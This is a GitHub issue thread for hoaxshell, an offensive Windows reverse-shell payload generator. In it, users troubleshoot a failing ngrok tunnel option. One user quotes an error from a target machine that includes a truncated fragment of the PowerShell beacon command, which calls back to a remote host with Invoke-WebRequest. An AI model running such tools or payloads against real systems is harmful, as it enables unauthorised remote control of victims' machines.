t3l3machus / hoaxshell

A Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell.
BSD 2-Clause "Simplified" License
2.98k stars 473 forks source link

Not working with ngrok #60

Open HussHemAG opened 8 months ago

HussHemAG commented 8 months ago

Hello, when I run the command sudo python3 hoaxshell.py -ng, I get the following error: [Debug] Failed to initiate tunnel. Possible cause: You have a tunnel agent session already running in the bg/fg.

YimuQrrr commented 1 month ago

Yes, I opened a separate window to execute ngrok http 8080

ngrok is working properly But when I close ngrok Execute sudo python3 hoaxshell.py -ng

Prompt [Debug] Failed to initiate tunnel. Possible cause: You have a tunnel agent session already running in the bg/fg.

Execute sudo python3 hoaxshell.py -lt

It works properly

But on the target machine, it will prompt

Invoke-WebRequest :
504 Gateway Time-out
504 Gateway Time-out
nginx/1.17.9
At line:1 char:78
+ ... ttps://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/85e5c920 -He ...
+ approximately ResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand